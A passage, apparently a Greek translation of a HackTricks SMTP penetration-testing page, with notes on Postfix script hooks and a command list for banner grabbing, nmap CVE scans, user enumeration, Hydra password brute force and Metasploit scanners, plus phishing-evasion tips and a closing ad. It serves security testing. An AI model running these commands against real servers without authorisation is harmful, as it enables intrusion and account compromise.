  • Χρήση τιμών που διαφέρουν από αυτές των κεφαλίδων του email
  • Υπαρξη ενός έγκυρου και αξιόπιστου πιστοποιητικού SSL
  • Υποβολή της σελίδας σε ιστοσελίδες φιλτραρίσματος περιεχομένου

Εξυφαίριση μέσω SMTP

Αν μπορείτε να στείλετε δεδομένα μέσω SMTP διαβάστε αυτό.

Αρχείο ρύθμισης

Postfix

Συνήθως, αν είναι εγκατεστημένο, στο /etc/postfix/master.cf περιέχονται σενάρια εκτέλεσης όταν για παράδειγμα ένα νέο email λαμβάνεται από έναν χρήστη. Για παράδειγμα, η γραμμή flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} σημαίνει ότι το /etc/postfix/filtering θα εκτελεστεί αν ληφθεί ένα νέο email από τον χρήστη mark.

Άλλα αρχεία ρυθμίσεων:

sendmail.cf
submit.cf

Αναφορές

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Άμεση διαθεσιμότητα εγκατάστασης για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε πίσω χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελύφη και να διασκεδάσουν.